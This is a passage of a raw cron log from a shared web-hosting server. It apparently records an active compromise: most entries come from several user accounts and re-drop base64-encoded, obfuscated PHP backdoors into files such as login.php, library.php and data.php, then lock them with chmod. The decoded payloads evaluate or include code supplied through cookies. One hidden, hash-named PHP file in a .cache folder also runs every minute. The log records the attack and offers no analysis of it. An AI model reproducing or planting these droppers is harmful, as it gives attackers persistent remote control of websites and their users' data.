ScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:41:01 medusa CROND[21847]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:42:02 medusa CROND[7606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:42:02 medusa CROND[7607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:42:02 medusa CROND[7608]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:42:02 medusa CROND[7609]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:42:02 medusa CROND[7610]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:42:02 medusa CROND[7611]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:42:02 medusa CROND[7618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:42:02 medusa CROND[7619]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:42:02 medusa CROND[7620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:42:02 medusa CROND[7621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:42:02 medusa CROND[7623]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:42:02 medusa CROND[7633]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:42:02 medusa CROND[7624]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:43:01 medusa CROND[27103]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:43:02 medusa CROND[27336]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:43:02 medusa CROND[27337]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:43:02 medusa CROND[27338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:43:02 medusa CROND[27339]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 13:43:02 medusa CROND[27340]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 13:43:02 medusa CROND[27342]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:43:02 medusa CROND[27349]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:43:02 medusa CROND[27356]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:43:02 medusa CROND[27357]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:43:02 medusa CROND[27358]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:43:02 medusa CROND[27361]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:43:02 medusa CROND[27353]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:43:02 medusa CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:44:01 medusa CROND[12230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:44:02 medusa CROND[12400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:44:02 medusa CROND[12401]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:44:02 medusa CROND[12490]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
